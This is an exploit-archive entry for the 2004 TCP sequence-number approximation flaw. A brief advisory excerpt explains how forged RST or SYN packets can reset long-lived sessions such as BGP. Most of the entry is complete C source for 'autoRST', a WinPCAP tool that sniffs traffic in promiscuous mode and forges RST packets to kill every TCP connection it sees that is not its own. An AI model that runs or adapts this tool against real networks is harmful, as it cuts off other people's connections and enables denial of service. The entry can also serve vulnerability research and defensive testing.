Multiple Vendor - TCP Sequence Number Approximation (1)

EDB-ID:

24030




Platform:

Multiple

Date:

2004-03-05


// source: https://www.securityfocus.com/bid/10183/info

A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.

The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port. 

Few factors may present viable target implementations, such as imlementations that:

- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports. 

Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms. 

Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further. 

Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed. 

**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.

/******************************************************************************************
 * autoRST
 * Matt Edman - Baylor University
 * 5/3/2004
 *
 * DESCRIPTION:
 * Sniffs out TCP connections on a non-switched network and attempts to reset them
 * by forging a RST packet in the correct window
 *
 * REQUIRED LIBRARIES:
 * -WinPCAP 3.1beta or higher
 * -WinPCAP developer's pack
 *
 * NOTES:
 * Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate
 * winpcap header files downloaded and paths setup. Other than that, just start it
 * up and let it do its job.
 ******************************************************************************************/
#include <stdio.h>

// WinPCAP includes
#include <pcap.h>
#include <remote-ext.h>
 
// 6 byte MAC Address
typedef struct mac_address {
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
 u_char byte5;
 u_char byte6;
}mac_address;

// 4 bytes IP address
typedef struct ip_address{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
}ip_address;

// 20 bytes IP Header
typedef struct ip_header{
    u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
    u_char tos; // Type of service
    u_short tlen; // Total length
    u_short identification; // Identification
    u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
    u_char ttl; // Time to live
    u_char proto; // Protocol
    u_short crc; // Header checksum
    ip_address saddr; // Source address
    ip_address daddr; // Destination address
// u_int op_pad; // Option + Padding -- NOT NEEDED!
}ip_header;

// 20 bytes TCP Header
typedef struct tcp_header {
 u_short sport; // Source port
 u_short dport; // Destination port
 u_int seqnum; // Sequence Number
 u_int acknum; // Acknowledgement number
 u_char hlen; // Header length
 u_char flags; // packet flags
 u_short win; // Window size
 u_short crc; // Header Checksum
 u_short urgptr; // Urgent pointer...still don't know what this is...
}tcp_header;

// FUNCTION PROTOTYPES
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
void print_packet( u_char *pkt, int len );
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win );
u_int iptoUINT( ip_address *ip );
u_short csum (unsigned short *buf, int nwords);

// GLOBAL VARIABLES
pcap_t *adhandle; // The device handle
u_int localaddr; // Local IP Address
struct sockaddr_in *lSock; // Local socket structure


int main( int argc, char *argv[] ) {
 pcap_if_t *alldevs;
 pcap_if_t *d;

 int inum;
 int i=0;

 char errbuf[PCAP_ERRBUF_SIZE];
 char *localIP;

 // Get the list of adapters
 if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1 ) {
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
  return 0;
    }

 // Print the list of adapters -- from Winpcap sample code
    for( d = alldevs; d != NULL; d = d->next ) {
        printf("%d. %s", ++i, d->name);
        if ( d->description )
            printf(" (%s)\n", d->description);
        else
            printf(" (No description available)\n");
    }
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);

 // Traverse the list to the selected adapter
    for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);

 // Get the local address
 lSock = (struct sockaddr_in *)(d->addresses->addr);
 localaddr = lSock->sin_addr.S_un.S_addr;
 printf("%d\n", localaddr);

 localIP = inet_ntoa(lSock->sin_addr);
 printf("Local Addr: %s\n", localIP);

 // Open the device for the capture
    if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf ) ) == NULL) {
  fprintf(stderr,"\nUnable to open adapter: %s \n", d->name);
        pcap_freealldevs(alldevs);
        return -1;
    }

    printf("\nListening on %s...\n", d->description);
    pcap_freealldevs(alldevs);
    pcap_loop(adhandle, 0, packet_handler, NULL);

 return 0;
}

// CALLBACK function...called for each received packet
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) {
 u_int ip_len;

 mac_address *srcmac;
 mac_address *destmac;

 ip_header *iph;
 tcp_header *tcph;

 destmac = (mac_address *)pkt_data;
 srcmac = (mac_address *)(pkt_data + 6);

    iph = (ip_header *) (pkt_data + 14);

 if( iph->proto == 0x06 ) { // TCP PACKETS
  if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT( &iph->daddr ) ) { // Don't reset our own connection
   ip_len = (iph->ver_ihl & 0xf) * 4;
   tcph = (tcp_header *)(pkt_data + 14 + ip_len);
   if( tcph->flags != 0x04 ) // If the RST flag is already set, no need sending another RST packet
    send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr, tcph->dport, tcph->acknum, tcph->win );
  }
 }
}

// Attempts to forge a RST packet and send it back to the source, resetting the TCP connection
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win ) {
 u_short tcp_hdrcrc[16];
 u_short ip_hdrcrc[10];
 
 u_short tcp_tos = htons(0x06);
 u_short tcp_hlen = htons(0x14);
 u_short ip_tos = htons(0x0800);

 ip_header iph;
 tcp_header tcph;
 u_char pkt[54];

 printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),
                  destip->byte1, destip->byte2, destip->byte3, destip->byte4, ntohs(dport));
 
 // Setup IP Header
 iph.ver_ihl = 0x45;
 iph.tos = 0x01;
 iph.tlen = htons(40);
 iph.identification = htons(0x0800);
 iph.flags_fo = 0x0;
 iph.ttl = 0xff;
 iph.proto = 0x06;
 iph.crc = 0x00;
 iph.saddr = *destip; // swap the source & dest ips
 iph.daddr = *srcip;
 
 // Setup TCP Header
 tcph.sport = dport; // swap the source & dest ports
 tcph.dport = sport;
 tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);
 tcph.acknum = tcph.seqnum + htonl(0x1);
 tcph.hlen = 0x50;
 tcph.flags = 0x04;
 tcph.win = win;
 tcph.urgptr = 0x00;
 tcph.crc = 0x00;
 
 // Calculate the IP Header Checksum
 memset(ip_hdrcrc, 0, 20);
 memcpy(ip_hdrcrc, &iph, 20);
 iph.crc = csum( ip_hdrcrc, 10 );

 // Construct the tcp pseudo-header for checksum calculation
 memset(tcp_hdrcrc, 0, 32);
 memcpy(tcp_hdrcrc, &tcph, 20);
 memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);
 memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);
 memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);
 memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);
 tcph.crc = csum( tcp_hdrcrc, 16 );

 // Assemble the packet
 memcpy( pkt, (void *)srcmac, 6 );
 memcpy( (void *)(pkt + 6), (void *)destmac, 6 );
 memcpy( (void *)(pkt + 12), &ip_tos, 2);
 memcpy( (void *)(pkt + 14), &iph, 20 );
 memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 );
 
 // Send the packet
 if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)
  fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle));
}

// Calculates the TCP Checksum based on the helper header
u_short csum (unsigned short *buf, int nwords) {
        unsigned long sum=0;
 
  for( sum=0; nwords > 0; nwords-- )
                sum += *buf++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
  return (u_short)~sum;
}

// Takes in an ip_address structure and returns the equivalent 4byte UINT value
u_int iptoUINT( ip_address *ip ) {
 u_int ipaddr;
 ipaddr = ip->byte4 | (ip->byte3 << 8);
 ipaddr = ipaddr | (ip->byte2 << 16);
 ipaddr = ipaddr | (ip->byte1 << 24);
 return htonl(ipaddr);
}

// Display the values in the packet on the screen
void print_packet( u_char *pkt, int len ) {
 int i;

 printf("\tThe Packet\n------------------------------\n");
 for( i = 0; i < len; i++ ) {
  if(i%4==0)
  printf("\n");
  printf("0x%x ", pkt[i]);
 }
 printf("\n");
}